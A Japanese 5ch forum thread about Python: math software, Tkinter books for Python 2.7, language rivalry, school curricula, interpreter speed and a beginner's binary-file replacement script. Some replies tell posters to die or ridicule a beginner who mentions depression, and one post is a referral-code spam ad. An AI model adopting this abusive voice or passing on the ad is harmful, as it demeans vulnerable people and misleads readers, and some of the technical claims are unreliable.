Mathematica (Wolfram言語)が頂点にいるが、有料、高価
MatLab 似ているが、あくまでも数値解析ソフト。
SageMath は、Mathematica の機能をオープンソースとして無料にしたもの。 ありとあらゆる既存に開発された機能を寄せ集めてるので巨大。独立システム。
ライブラリとしては使えない。

SymPy は、Mathematicaで出来ることは全て盛り込もうとしたもので、Python だけで書かれている。
ライブラリなのであらゆる場所で使うことができる。

高校くらいからこんなの使いたかったな。手計算の代数や幾何なんてアホらしくなるな。
今の工学系の大学ではみんなこの種のプログラムを使わせてるんだろうか? こんな便利なものがあるのに使わないわけないだろうな。Mathematica は良く耳にするね。
0323デフォルトの名無しさん
垢版 |
2019/05/30(木) 10:02:21.84ID:+xWYr2/c
>>322
「Mathematica」や“Wolfram|Alpha”の核「Wolfram Engine」が開発者向けに無償開放
https://forest.watch.impress.co.jp/docs/news/1186454.html

 開発者向けの無償「Wolfram Engine」は、運用前・試作(pre-production)段階でのソフト開発で利用可能。
製品に組み込むことはできないが、オープンソースプロジェクトであれば無償のプロダクションライセンスを申請することも可能だ。

各種プログラミング言語(Python、Java、.NETおよびC/C++)で開発されたアプリにライブラリとして組み込んだり、「Excel」「Jupyter notebooks」「Unity」といったアプリと連携させたりすることが可能。
0325デフォルトの名無しさん
垢版 |
2019/05/30(木) 13:08:30.45ID:Ec3P7Zkh
(良質な)選択肢が増えるのは良いこと

rubyは論外
0326デフォルトの名無しさん
垢版 |
2019/05/30(木) 13:55:14.24ID:pTJ8iP5X
sympy無いからね
0330デフォルトの名無しさん
垢版 |
2019/05/30(木) 21:20:41.66ID:E3tbd607
複数のプログラミング言語に対応する時
Rubyがハブられる事多くね?
0331デフォルトの名無しさん
垢版 |
2019/05/30(木) 23:29:14.19ID:AhU3n+K3
Javaも有償化で死ぬ運命だし
PerlとPHPも存在意義がないし
言語はPythonとJavaScriptだけあればいい
0333デフォルトの名無しさん
垢版 |
2019/05/31(金) 00:30:20.79ID:PSQLu+bz
JAVAは有償化の部分ができるだけだろ。

ウインドウズで簡単にpythonが導入できるようになるらしいな。
0336デフォルトの名無しさん
垢版 |
2019/05/31(金) 12:37:49.31ID:LXc8d8Er
>>333
> JAVAは有償化の部分ができるだけだろ。
今はね
今後どうなるかわからんから企業だと確実に使い辛くなった
0337デフォルトの名無しさん
垢版 |
2019/05/31(金) 13:51:56.51ID:537aAHVt
ネットで探してみたのですが、見つからず…

Python2.7を使っているのですが
Tkinterの入門書籍でオススメなどありましたら
よろしくお願いしますm(_ _)m

ネットで都度、調べ調べごまかしてきたのですが、
使用頻度が少し出てきたので、一通り見てみようかと。
0338デフォルトの名無しさん
垢版 |
2019/05/31(金) 13:58:23.58ID:+B1cnzPd
ネットの方が良いよ
0340デフォルトの名無しさん
垢版 |
2019/05/31(金) 16:16:50.64ID:537aAHVt
古いバージョンである事は充分わかっているのですが、
ラズベリーパイで使っているため、
ライブラリの依存の関係で切るわけにいかない状況で…

一人で遊ぶのにはPython3で良いのですが、子供たちが使っているので
書籍や何やらも2.7で統一しています。

余談ですが同じように、Scratch1.4もGPIO周りとの兼ね合いで
2.7を選択せざるを得ないのです。

Windows * Tkinter の 2000年 英語本PDF600ページが無料でありましたが
これは、古過ぎます…ね… すみません。いい書籍があれば良いのですが…
0342デフォルトの名無しさん
垢版 |
2019/05/31(金) 19:28:37.67ID:537aAHVt
すいません。ワケあって書籍が必要なんです。
いろいろ調べてみると、

・みんなのPython 改正版
・みんなのPython 第3版

上記書籍で演習がGUI(Tkinter)っぽいのですが
Tkinterについてのフレームやらなんやら詳しく書いてるのか
触り程度なのか、誰かご存知ありませんでしょうか??
有名な書籍っぽいので誰かお持ちだったり、買った事あったり…
0343デフォルトの名無しさん
垢版 |
2019/05/31(金) 20:08:41.66ID:V8SvGoHx
プログラミング初心者だけど、プログラミングってWebラーニングで学ぶのが良いかと思ったけど詐欺みたいなサイトしかないな
数万円とか数十万円とるサイトばかりだ
0344デフォルトの名無しさん
垢版 |
2019/05/31(金) 20:39:35.05ID:LXc8d8Er
>>340
> 一人で遊ぶのにはPython3で良いのですが、子供たちが使っているので
> 書籍や何やらも2.7で統一しています。
いや、むしろ子供のこと考えたら3にするべきだろう…
0348デフォルトの名無しさん
垢版 |
2019/06/01(土) 00:14:57.92ID:GQlgchjf
>>342
GUI について、詳しくは書いてない

Tkinter って、亀を動かして、線を引くサンプルだろ?

ネットにあるだろ。
それを、プリントすれば?
0350デフォルトの名無しさん
垢版 |
2019/06/01(土) 02:43:15.54ID:bRz/F46N
python3 tkinter pyautoguiでマウス座標を取得して自動更新したい

x=pyautogui.position()

#ラベルを追加
label = tk.Label(root, text=x),label.place(x=0, y=0)
label.update()

更新できずに困ってます。どうすれば良いでしょうか?
0352デフォルトの名無しさん
垢版 |
2019/06/01(土) 13:16:17.37ID:Yp9yk5/9
>>348
情報ありがとうございます。やはり詳しは書いて無いんですね。子供には書籍での勉強を推奨してるので、困りました。

>>349
Tcl/Tkプログラミングの本ですか。思いつきませんでした。
Tkの記述やなんかはPythonのTkinterでそのままというわけにはいかないでしょうから、どんな機能があるっていう概要を勉強する感じで、やはりそれをドキュメントなりなんなりWEBで調べる、になりそうですね。

Tkinterの書籍が無い…困った…。
0353デフォルトの名無しさん
垢版 |
2019/06/01(土) 13:34:16.00ID:Cw4MltZM
tcl/tk の本読んでも tkinter を使えるようにはならないぞ
深い理解には役立つのは認めるが
0354デフォルトの名無しさん
垢版 |
2019/06/01(土) 15:56:47.73ID:551IpXHk
>>340 ラズパイは、python3 が入ってるだろ。
python3 ―version
バージョンアップだって出来るよ。

Scratch のGPIO だって、Scratch の新バージョンではpython3 が使えるんじゃないの? 正式には無くなるものを使い続けるはずがない。

ScratchはGPIOサーバーを使う?
GPIOサーバーは2.7で動かして他は全て3で動かすとか。

そもそもpython2.7 じゃまともに日本語が使えないでしょ。 子供にそんなものを使わせるなんて酷だよ。
UTF8が標準で使えるようになったのはPython3から。

日本語が使えないGUIを作って何するの?
0355デフォルトの名無しさん
垢版 |
2019/06/01(土) 16:01:51.70ID:61PFNirk
質問のバックグランドなんて人それぞれなんだから、
2.7についてのものでも、べつにいいじゃない。
0358デフォルトの名無しさん
垢版 |
2019/06/01(土) 16:15:06.87ID:4hNhVGGP
scratchのエンジンはjavascriptだけどな。
0359デフォルトの名無しさん
垢版 |
2019/06/01(土) 16:19:47.78ID:Yp9yk5/9
もちろんわかってますよ。

環境や理由を全て説明するわけにはいかないので、
アドバイスありがとうございます。
0360デフォルトの名無しさん
垢版 |
2019/06/01(土) 16:43:50.98ID:551IpXHk
気を付けてコーディングすれば表示することはできるだろうけど、そんな気苦労をしてまで日本語を使わせる理由が見当たらない。 2.7を使い続けるのはデメリットの方が大きいだろう。
Python の日本語の書籍だって沢山で始めたのはPython3 になってからだし。
0361デフォルトの名無しさん
垢版 |
2019/06/01(土) 16:59:22.20ID:Yp9yk5/9
プログラミングスキルやトレンドを目的とした素養目的ではないので、
2.7の方がメリットがある環境ってだけです。
今現在、私立に通っているお子さんをお持ちの方ならわかる方もいるかもですね。
アドバイスありがとうございます。

私自身はPython3で書いてます。アドバイスありがとうございます。

自己解決しました。2系で書かれてるTkinterの書籍見つけました。
ちなみに2.7で日本語は何も問題な使用できます。
0362デフォルトの名無しさん
垢版 |
2019/06/01(土) 17:30:05.67ID:dhP+frpU
まさか私立学校のプログラミング教育がPython2.7とはこの時誰も知らなかったのである

嫌すぎだろw
0363デフォルトの名無しさん
垢版 |
2019/06/01(土) 17:56:17.30ID:ve4RhxKy
幼少期に後方互換性維持の重要性を学習させるという
深遠な教育理念があるんだぞ
0364デフォルトの名無しさん
垢版 |
2019/06/01(土) 18:04:56.17ID:Yp9yk5/9
別に親としては、どっちでもいい気がします…。
子供がプログラミング屋さん志望なワケじゃないので。
取り組み自体が5-6年前?結構早かった学校という事でかえって安心ではあります。
技術科目先行してたみたいで、指導要綱や教材が到達点までカリキュラムが出来上がってるのでそれに準じてる感じですかね?

数年後、中学にもなってネコ跳ね返しで四苦八苦…より、メリットがあるような気はしてます。
統計初歩、三角関数、微積がゴールのようです。
学校バレしそうなので、ここへんで。ありがとうございましたm(_ _)m
0365デフォルトの名無しさん
垢版 |
2019/06/01(土) 18:26:38.27ID:551IpXHk
私立学校みんなが足並みをそろえてるわけじゃないでしょ?
scratch を使ってる学校は多いと思われるけど。 それは単にインストールした環境がpython2.7 だっただけでしょ。

python の言語教育をpython2.7 でやってるの? ちょっとにわかには信じがたい。

小学校? 中高?
いずれにしろブロックプログラミングをscratch でやってるだけの話でしょ?

通信相手は、言語の種類は関係ないんじゃないの?

micro:bit だってpython3 系のmicro python だったと思う。
ブロックプログラムはMicrosoft の MakeCode 尤も実行コードはjavascript しか吐き出さない。 通信はbluetooth やWiFi、或いはUSB直結
python を吐き出すものもあるが普及はしていない。
つまり、ブロックプログラミングと、Python などの言語教育は全く別物となっている。 BBC では、python教育用に独自のエディタを提供している。

勿論scratch の対象デバイスとしてmicro:bit も選べる。
0366デフォルトの名無しさん
垢版 |
2019/06/01(土) 18:45:18.53ID:GQlgchjf
予算が掛かるから、PC が古いだけだろ

子供の遊びのために、PCを買い換える必要はない。
どうせ、遊びなのに

YouTube の動画をアップしてる、KENTA が初心者はRuby から始めろって言ってる。
Rubyの女神・池澤あやかも、同じ事を言ってる

Python が初心者にできるわけない!
Guido 自身が、内包表記は難しいから使うなって言ってるのにw
0368デフォルトの名無しさん
垢版 |
2019/06/01(土) 18:56:00.45ID:4hNhVGGP
>>366
死ね
0369デフォルトの名無しさん
垢版 |
2019/06/01(土) 19:03:18.86ID:k6JXFZAo
>>366 ラズパイだろ、ソフトは最新に出来るぞ。 ハードを買い直しても数千円。

世界の初等プログラミング言語はPython と言うことは、小学校から大学まで一致してる。

この間東大のコンピュータ講座を見てみたら、やはりPythonメインになってた。
0370デフォルトの名無しさん
垢版 |
2019/06/01(土) 19:03:30.48ID:Yp9yk5/9
>>365
学校は中高一貫私立です。

某大学から専用エディタが提供されているようです。(教材カリキュラムも共同だと思います)
公開授業の時に高学年の技術を一度見ただけなので詳しくはわかりませんが
マイクビットや他ブロック教材、マインクラフトなど全部同じ専用エディタで簡単にフラッシュできるようです。
スニペットも日本語ヘルプがポップアップ表示されたり…個人的にはコーディング入門者には非常に良い環境だと感じました。

恐らくですが、多くの学校は仰る通り、想像通り、で良いと思われます。

まぁ、smalltalk etoyなんかで授業やってるとか、中学になってまで猫オンリー、そんなワケじゃないんですから、
Python3がPython2でも構わないかなってのが、自分の見解で…それ以上それ以下でもないです。
学校側も私自身も目的がプログラミングスキルではない事だけは確かですね。

いろいろ、ありがとうございました。
0371デフォルトの名無しさん
垢版 |
2019/06/01(土) 19:05:59.24ID:Yp9yk5/9
あ。因みに
家の子供用のパソコンはラズパイですが、学校は古いWIN機です。
0373デフォルトの名無しさん
垢版 |
2019/06/01(土) 20:23:40.09ID:ZZn+nMdc
>>372
一部に下手な嘘が混ざっている
0375366
垢版 |
2019/06/01(土) 21:31:23.30ID:GQlgchjf
AI, IoT するなら当然、Python がメインでも良い

でも、Rubyの女神・池澤あやかが、大学教育を批判してるだろ。
C から始めるから、全員プログラミングを辞めてしまう。
だから、プログラミングはしょーもない、と言われるわけ!

プログラミングで楽しさに焦点を当てた言語は、
Ruby と、Ruby っぽいElixir だけなんだよ!

プログラミング自体を面白くする、仕掛けを作ってある。
だから、Rubyから始めろって言われるわけ

YouTube の動画をアップしてる、あれほどPythonを推してるKENTA でも、
初心者はRuby から始めろって言ってるぐらい!

初心者はプログラミング自体をRubyで学んでから、Pythonへ行っても遅くならない!
極端な話、Ruby on Rails を学べば、CakePHP も出来てしまう。
全くのコピーだからw

Rubyは、他の言語を学ぶために、好都合。
KENTAは、Rubyで基礎を作っているから、10言語ぐらい出来るわけ!

池澤あやか・KENTAなど、10言語ぐらい出来る奴が言ってるのだから、間違いない!
0376デフォルトの名無しさん
垢版 |
2019/06/01(土) 21:37:45.65ID:4hNhVGGP
>>375
死ね
0377デフォルトの名無しさん
垢版 |
2019/06/01(土) 21:51:08.32ID:XabM0uH9
>>375
RubyだのPythonだのはプログラミングもどきでしかないから。
たとえそこで食いつきが良かったとしても、CやPascalのような
本当のプログラミングに進んだ時点で結局離れてしまう。

プログラミングの適性がある人は、RubyだのPythonだのより。
CやPascalの方に楽しさを感じるよ。
0378デフォルトの名無しさん
垢版 |
2019/06/01(土) 22:15:31.63ID:w9UetZ9K
>>375
論理性の欠片もなくて見てて気持ち悪くなってくる。
そんなにRubyが好きで普及させたいなら、お前にできる最良のことはお前が今後一切Rubyに言及しないことだ。
0379デフォルトの名無しさん
垢版 |
2019/06/01(土) 22:26:51.28ID:bffse+wh
>>377
選民思想持ってそうで気持ち悪
低レベルまでがっつりチューニングに楽しさを見出すのか、欲しいアプリを素早く作ることに楽しさを見出すかは人それぞれで、そこに優劣は無い
0380デフォルトの名無しさん
垢版 |
2019/06/01(土) 22:33:29.86ID:SRjiavCx
Ruby教徒はどこからともなく湧いてくる。
掃討はなかなか大変。
奴らはなりすましPython民として何食わぬ顔をして諸君の隣にいる。
0383デフォルトの名無しさん
垢版 |
2019/06/02(日) 03:20:48.81ID:UIpFJ6ej
Ruby信者の質の悪さは日本のコンピューター史に残るレベル。
世界標準のPythonの普及を遅らせガラパゴス化させた罪は重い。
0385デフォルトの名無しさん
垢版 |
2019/06/02(日) 06:53:43.28ID:kAC27lYz
戦争は終わったのに一人ゲリラ戦をしてるあほがいる。
情報処理の言語が、 C Java Python の三つになった事で終戦宣言となった。
0388デフォルトの名無しさん
垢版 |
2019/06/02(日) 11:20:39.41ID:P158gOa4
時代はrustだよね
0389デフォルトの名無しさん
垢版 |
2019/06/02(日) 11:46:41.70ID:J26IJNP5
池澤あやかωにいちいち枕詞付けるのやめれωω
0390デフォルトの名無しさん
垢版 |
2019/06/02(日) 11:47:39.88ID:+FZaNNUF
>>383
日本のAIの遅れってRuby普及したせいでPythonのイメージが悪くて
最初誰も飛びつかなかったのが原因だしな
今更Pythonかよって雰囲気がすごくあった
言語の影響って予想よりデカイ
0392デフォルトの名無しさん
垢版 |
2019/06/02(日) 12:28:24.38ID:J26IJNP5
Pで始まるのは成功する
Rで始まるのは失敗する
0393デフォルトの名無しさん
垢版 |
2019/06/02(日) 12:45:30.73ID:evfhY1n8
Pythonが日本でも流行ることが出来たのはひとえにネーミングによるもの、オッパイソン!
0394デフォルトの名無しさん
垢版 |
2019/06/02(日) 12:56:43.90ID:A9OZ+7QR
広辞苑にはPythonもRubyも載っていない。PerlとAWKは載っている。
0395デフォルトの名無しさん
垢版 |
2019/06/02(日) 17:08:23.87ID:UIpFJ6ej
小説にもなっている。主人公はBash。
AWK英雄物語
https://ncode.syosetu.com/n8418ff/ 👀
Rock54: Caution(BBR-MD5:0be20a4887bc3d3353f527d3636c44e3)
0396デフォルトの名無しさん
垢版 |
2019/06/02(日) 19:37:15.87ID:P158gOa4
目玉出てるぞ
0397デフォルトの名無しさん
垢版 |
2019/06/02(日) 20:38:13.33ID:qdVA6LCN
なんかギレン様の演説っぽいネタ書こうかと思ったけど面倒くさいからやめたw
とりあえず
ジークPython!!
0398デフォルトの名無しさん
垢版 |
2019/06/03(月) 10:42:48.85ID:561P/qAZ
高等学校情報科(各学科に共通する教科)
http://www.mext.go.jp/a_menu/shotou/zyouhou/detail/1416746.htm
 平成30年3月に公示した新高等学校学習指導要領に基づき、共通必履修科目「情報T」が新設され、内容の大幅な充実が予定されています。
高等学校情報科担当教員の指導力を高めることが一層重要となっていることから、文部科学省では、都道府県等の研修でも活用できる新学習指導要領に対応した教員研修用教材の作成を行いました。
 本研修用教材を積極的にご活用いただき「情報T」を教える準備を進めるとともに、実際の授業等においてもご活用ください。

高等学校情報科「情報T」教員研修用教材(本編):文部科学省 (内容修正でリンク切れに)
表紙・はじめに・目次・序章 (PDF:8814KB)
本教材の使い方 (PDF:6610KB)
第1章情報社会の問題解決 (PDF:8487KB)
第2章コミュニケーションと情報デザイン (PDF:4538KB)
第3章コンピュータとプログラミング (PDF:9577KB)
第4章情報通信ネットワークとデータの活用 (PDF:14086KB)
(ウ) データの収集・整理・分析
(1) データの表現 尺度水準,量的データ,質的データ,データの形式,ビッグデータ
(2) データの収集と整理 Web スクレイピング,データクリーニング
(3) データの分析と評価 テキストマイニング,単回帰分析,可視化,評価指標
巻末 (PDF:819KB)
高等学校情報科「情報T」教員研修用教材(本編)
https://blogs.yahoo.co.jp/blogjidaiki/38075928.html
○第3章 コンピュータとプログラミング
ここでは Python3 によるプログラム例が出ている。
(現在pdf のリンク切れでダウンロードできない)

2019-05-20
高校生全員が「Python」を履修するかも。
「情報科」における学習内容、Pythonやmicro:bitが例示に挙がりましたが致命的なミスが!→訂正されました
https://blog.edunote.jp/entry/2019/05/20/050000

プログラム例を見ると Python3 になっている。
https://cdn-ak.f.st-hatena.com/images/fotolife/j/justsize/20190519/20190519213550.png
「JavaScript」や「VBA」「Swift」「ドリトル」などの言語で記述した場合の資料も順次公表する。
0399デフォルトの名無しさん
垢版 |
2019/06/03(月) 10:45:34.80ID:RzP7uBJU
Ruby脂肪wwざまぁwwww
残当wwwww
0400デフォルトの名無しさん
垢版 |
2019/06/03(月) 10:48:18.27ID:RzP7uBJU
しかしSwiftは意外だしドリトルに至っては誰やお前状態。
それぞれJavaとScratchでいいような気が…
あ、高校だしPythonやるんだからScratchはいらないかw
0402デフォルトの名無しさん
垢版 |
2019/06/03(月) 11:34:25.42ID:561P/qAZ
ドリトルってなんやと思ったら、大阪電気通信大学教授が作った簡単な教育用言語らしい。
SOV型の日本語の文法だから、日本人には受け入れられやすいそうだ。
200 歩く
いずれにしろこんなガラパゴス言語なんて取り扱うなよな。

Appleは昔から教育に力を入れてるし、micro:bit もSwift で動かせるようになっている。
iPadを導入している学校が多いからだろうな。
0403デフォルトの名無しさん
垢版 |
2019/06/03(月) 12:05:51.45ID:0DERidol
>>369
なんでJulia使わんのやろ。
0404デフォルトの名無しさん
垢版 |
2019/06/03(月) 12:08:30.44ID:0DERidol
>>390 >>363
pythonは遅い。なんでJuliaを使わんのやら。
0405デフォルトの名無しさん
垢版 |
2019/06/03(月) 12:18:00.58ID:ZJy6OnVg
Juliaは実質FORTRANやな
FORTRAN陣営から見たらJuliaなにそれ美味しいの?だし
Python陣営から見たらJuliaなにそれ美味しいの?なんだな
0406デフォルトの名無しさん
垢版 |
2019/06/03(月) 12:22:29.73ID:561P/qAZ
ルーピーの後はJulia廚か。 誰も使っていない言語を国の金で教育するメリットはない。
0407デフォルトの名無しさん
垢版 |
2019/06/03(月) 12:47:09.94ID:WJCzotn8
Matzも呆れとったわ
何のためにJIS規格にしたのかと

…本当にJIS規格が役に立つと思ってたんかな〜?
0410デフォルトの名無しさん
垢版 |
2019/06/03(月) 19:44:59.60ID:IhVV+kPx
>>407
> Matzも呆れとったわ
> 何のためにJIS規格にしたのかと
アホみたいに言語仕様変えまくった奴が何を言ってるんだよ…
0413デフォルトの名無しさん
垢版 |
2019/06/04(火) 05:43:24.04ID:/ArpXH0n
>>412 それが Cython 。 JIT にするのがNumba
その内何もしなくてもJIT で動き始めるんじゃないのかな。
0414デフォルトの名無しさん
垢版 |
2019/06/04(火) 09:15:34.73ID:/ArpXH0n
>>413 PyPy がJIT コンパイル機能を持ってるみたいだな。
4倍早いみたい。 だんだんとこちらが中心になっていきそうな気がする。
0417デフォルトの名無しさん
垢版 |
2019/06/04(火) 09:31:14.75ID:/ArpXH0n
>>416 誰と誰が喧嘩してるんだ? PyPy が4倍早いというのは、Cで書かれたCpython と比較しての話なんだけど?
0419デフォルトの名無しさん
垢版 |
2019/06/04(火) 10:09:41.48ID:/ArpXH0n
>>418 CPython は、全てCで書かれた本家のPython インタプリタ。 これが標準とみなされ Python といったらこれのこと。

Cython は、(特殊な)python コードをCに落としてコンパイルするコンパイラ。
0420デフォルトの名無しさん
垢版 |
2019/06/04(火) 10:15:33.01ID:/ArpXH0n
>>416 Cモジュールが遅くなるってどういう意味だ?
Cで書かれたライブラリのことか? そのまま使えばいいじゃん。
0421デフォルトの名無しさん
垢版 |
2019/06/04(火) 10:48:29.61ID:uvNmGZET
翻訳されて 生の C になるからって言っても
PyObject * 毎回生成して
getattr して call しまくる C に変換されてるだけなら
そんなに劇的な速度差無いぜ

結局 numpy みたいなの使う方が速いし全体的にも効率的
0422デフォルトの名無しさん
垢版 |
2019/06/04(火) 11:04:17.89ID:3AilBL3g
【速報】金券五百円分とすかいらーく優侍券をすぐもらえる    
https://pbs.twimg.com/media/D8I_z1eVsAEQacJ.jpg    
    
@ スマホでたいむばんくを入手    
A 会員登録を済ませる    
B マイページへ移動する
C 招待コード→招待コードを入力する [Rirz Tu](スペース抜き)   
    
今なら更に4日18時までの登録で2倍の600円の紹介金を入手     
クオカードとすかいらーく優待券を両方ゲットできます。    
       
数分で出来ますのでご利用下さい
0426デフォルトの名無しさん
垢版 |
2019/06/04(火) 15:34:05.65ID:oF2K+2cj
>>421 だから、numpy ならそのまま使えばいいじゃんと言ってるんだけど、話が噛み合わないな。
CPython のことを言ってるのか?
誰となんのために喧嘩してるんだ?

<>423 >>417 で、CPython の話をしてるのに、Cython の話を持ち出してきたからさ。
その前はPyPy の話題。

よくわからんから好きなもの使えば。
0427デフォルトの名無しさん
垢版 |
2019/06/04(火) 15:59:44.40ID:XXr8i2SB
>>422
一万請求されたぞふざけんな!
0428デフォルトの名無しさん
垢版 |
2019/06/04(火) 16:09:43.04ID:jFAGFsyF
numpy使うのが最速だよな
cuPy入れれば勝手にGPU使って速くなるし
もはやCUDAの知識もいらない
AIエンジニアといってもライブラリ使うマンに成り下がってる自分に腹がたつ
0430デフォルトの名無しさん
垢版 |
2019/06/04(火) 18:30:42.03ID:5jXXyAl7
>>428
まあ仕方ない。。
自分の慣れた道だったとして相手がF1ドライバーとかだったらほぼ勝ち目なしだし。。
0431デフォルトの名無しさん
垢版 |
2019/06/04(火) 18:36:50.86ID:Jyr2dHH9
Python使って自動運転させればF1ドライバーに勝てるんじゃ無いのか
AIだったら命知らずでぶっ飛ばせるしw
0433デフォルトの名無しさん
垢版 |
2019/06/05(水) 02:34:51.47ID:L0nmYMGT
Python初心者です。質問の仕方や書き方など間違っているかもしれませんが、よろしくお願いします。
Python2.7を使っております。
.datのバイナリデータの検索と該当箇所を置き換えをやりたいのですが
open read replace またバイナリデータの格納や表示などWEBで見てトライしましたがうまくいきません。

Test.dat の 01 00 01 00 01 00 を 00 01 00 01 00 01 に書き換えるにはどういう記述方法になりますでしょうか?
0434デフォルトの名無しさん
垢版 |
2019/06/05(水) 02:39:40.49ID:L0nmYMGT
上記はhexedit などで見たところの16進数の表記のつもりで書かせていただいてます。
0436デフォルトの名無しさん
垢版 |
2019/06/05(水) 10:33:18.23ID:L0nmYMGT
f = open(test.dat,rb)
data = f.read()
f.close()

print data

@<?>などのバイナリファイルをテキストエディタで開いた時の文字化けのような表示
(ここまでしかできません)
Aこれを16進数などに変換して該当箇所を任意16進で書き換え
Bバイナリファイルとして書き出し or 元データを上書き

のように考えております。よろしくお願いします。
0438デフォルトの名無しさん
垢版 |
2019/06/05(水) 11:57:22.22ID:L0nmYMGT
ありがとうございます。早速見て見ましたが英語が苦手で訳しながらやったのですが
うまくいきませんでした。

.dat の read() を行なった後、dataに変数に入れて表示される<?>文字列?化け?
のようなものを16進数に変換する方法がわかりません。

data = [ f.read() ]
にすると

['¥x00¥x00¥x00¥x00¥x00¥x00¥x00¥x00']

に表示できるのですが
0439デフォルトの名無しさん
垢版 |
2019/06/05(水) 12:30:21.89ID:SxBZ5bvb
馬鹿には無理
0440デフォルトの名無しさん
垢版 |
2019/06/05(水) 12:45:38.14ID:L0nmYMGT
すいませんでした。鬱病が原因で学校を辞めて
なんとかプログラミングのスキルを身につけて社会に出ようと努力してみたのですが
やはり、なかなか難しいです。

ありがとうございました。
0446デフォルトの名無しさん
垢版 |
2019/06/05(水) 13:35:00.88ID:Cxh3OVbN
ネタでしょ
初心者はふつうバイナリデータいじらん、しかもPython2て
0447デフォルトの名無しさん
垢版 |
2019/06/05(水) 13:35:18.79ID:Oo3xyqZm
pythonでバイナリデータとか日本語扱うのはかなり面倒だよ
初心者は絶対ハマる
0448デフォルトの名無しさん
垢版 |
2019/06/05(水) 13:36:18.80ID:L0nmYMGT
import subprocess
import glob

File_Path = (glob.glob("*/test.dat"))
for i in range(len(File_Path)):
print File_Path[i]
file = open(File_Path[i],'rb')
data1 = [file.read()]
data2 = data1[0].replace("\x01\x00\x00\x00\x04\n\x00", "\x00\x00\x00\x00\x04\n\x00") .replace("\x02\x00\x00\x00\x00\x00\x00\x00", "\xf4\t\x00\x00\x00\x00\x00\x00")
file.close()
file = open(File_Path[i],'w')
file.write(data2)
file.close()

一ヶ月前からプログラミングはじめて書き方もよくわからないのですが、上のコードで一応動くようになりました。
修正御指南お願いします。
0449デフォルトの名無しさん
垢版 |
2019/06/05(水) 13:37:06.11ID:L0nmYMGT
>>446
ネタじゃありません
0451デフォルトの名無しさん
垢版 |
2019/06/05(水) 15:22:10.72ID:Vxwz5LZ9
出来てるんじゃないの?
バイナリファイルを表示して確認出来ないってこと?
ならバイナリエディタ使うとかLinuxならhexdumpで表示するとか?
バイナリとテキストの違いはわかるよね?
0452デフォルトの名無しさん
垢版 |
2019/06/05(水) 15:41:23.09ID:L0nmYMGT
一応動きましたが、納得いきませんで

> data1 = [file.read()]

data1をリスト格納によって
\x00 \x00 \x00 \x00 \x00
の表示取り扱いができるようになり、replaceも動くようになりました。
しかしリストに格納する意味は無いですし
***(data1)関数などで、表示できれば良いなと。調べてもわかりませんでした。
0453デフォルトの名無しさん
垢版 |
2019/06/05(水) 15:52:30.66ID:d0W0ZGzg
プログラミングに向いてないというより人間を名乗らない方が良い
出来の悪いAIです
くらいにしとけ
0455デフォルトの名無しさん
垢版 |
2019/06/05(水) 16:25:46.98ID:Ge2qACax
もしかして成長したアイちゃんでは?
最近見なかったが戻ってきたのか。
0456デフォルトの名無しさん
垢版 |
2019/06/05(水) 16:28:59.29ID:9wg8020H
Pythonを極めればAIエンジニアとして生きていけると思うのは大きな勘違い、色んな言語を組み合わせる必要がある、と自称玄人は素人に良く言う

素人は他の言語もPythonもできないのにそんな事をわざわざ言ってどうなる
まずPythonだけでも勉強させてやれよ
0458デフォルトの名無しさん
垢版 |
2019/06/05(水) 17:48:23.37ID:iU7KKE1l
DEBUG=0っていうグローバル変数のあるモジュールをシェルから実行するときにこれをDEBUG=1にして実行する方法はありますか?
例えばmake DEBUG=1みたいな感じで。
0459デフォルトの名無しさん
垢版 |
2019/06/05(水) 18:00:53.41ID:qR/LRS8W
>>458
自作のモジュールか何かで編集可能かつbashの場合
DEBUG=${DEBUG:=0}
と定義して呼び出すときに上書きできる


もし編集不可能ならそんな方法はないのでsedやawkで置き換えることになる
0460デフォルトの名無しさん
垢版 |
2019/06/05(水) 18:25:45.12ID:L0nmYMGT
わかりました


うらみます
0462デフォルトの名無しさん
垢版 |
2019/06/05(水) 18:32:40.92ID:3XxRby7F
>>448

https://ideone.com/BCfi7E
に自分のセンスで書いた

採点すると
・不要なimportはしない
・globはファイルが複数ない場合は使わない
・[file.read()]の大カッコは不要
・変数名の大文字小文字の使い方がおかしい
0464デフォルトの名無しさん
垢版 |
2019/06/05(水) 18:37:49.49ID:BqK4nqSF
>>460 落ち込まなくても良いよ。 2ch なんていろんな人間がいるから。 バカもいるが、優しい人もいる。
質問してるうちに何が大事なのかがわかってくると思うから、めげずに質問を続けてみたら?

>>463 や、>>465 は、少し反省しろ。 病気を乗り越えようと頑張ってる人をけなすなんてお前たちは最低だよ。
0468デフォルトの名無しさん
垢版 |
2019/06/05(水) 20:01:24.12ID:kn0vanX8
プログラミングの経験自体がないっぽいから
とりあえずはWebに転がってるサンプル入力して
結果を見て出来た!ってニヤけることから始めるべきかと。
数こなすことで出来ることと出来ないことが何となく分かってくる。
出来ないことをあれこれ考えて、出来る単位で作っていくのがプログラミング。
0469デフォルトの名無しさん
垢版 |
2019/06/06(木) 00:46:39.08ID:Qxsak61t
>>452
Python には、Ruby のpack/unpack みたいなのは、無いのか?

pack : 配列 → 文字列
unpack : 文字列 → 配列
0470デフォルトの名無しさん
垢版 |
2019/06/06(木) 03:21:45.18ID:3ui/AiH2
>>468
初心者用ブログにのってるコードをコピペでもいいからまずは自分で動かしてみるってのは良いよね
この値を変えたらこう動くだとか、このコードとあのコードを組み合わせたら、こう言う動きが出来るかもしれないなど組み立てる能力にも繋がるし
0471デフォルトの名無しさん
垢版 |
2019/06/06(木) 05:33:20.19ID:dTLpbEEC
画像の中から特定の画像(拡大や縮小をされてても対応可能な)
見つけ出すコードを下さい。
0473デフォルトの名無しさん
垢版 |
2019/06/06(木) 11:21:44.80ID:NTWs7n2j
>>469 自分で調べもしないで聞くな。

r=['A','B','C']
rs=''.join(r)
ir=[1,2,3]
irs = ''.join(map(str,ir))

print(rs ,irs , list(rs), list(map(int,irs)))
#OUT ABC 123 ['A', 'B', 'C'] [1, 2, 3]
0474デフォルトの名無しさん
垢版 |
2019/06/06(木) 11:34:48.14ID:3EP1W6m+
>>469
今のRubyがどうなってるんだか知らないけれど、pythonではバイナリ(bytes)と文字列(str)は違う型
で、pack/unpackは普通バイナリと数値や文字列の変換で使うやつだと思うが、
この目的なら pythonには struct.pack / struct.unpack がある

>>952
repr("\x00") で行けるんじゃないかな
0475デフォルトの名無しさん
垢版 |
2019/06/06(木) 12:45:35.43ID:cdOVZaEX
>>469
そのものズバリならstructパッケージを使う

型がプリミティブ(intやfloat)ならnumpyでも可能
ファイルからならnumpy.fromfile
バイナリ配列ならnumpy.frombuffer
文字列ならnumpy.fromstring

dtypeでエンディアンも指定できる
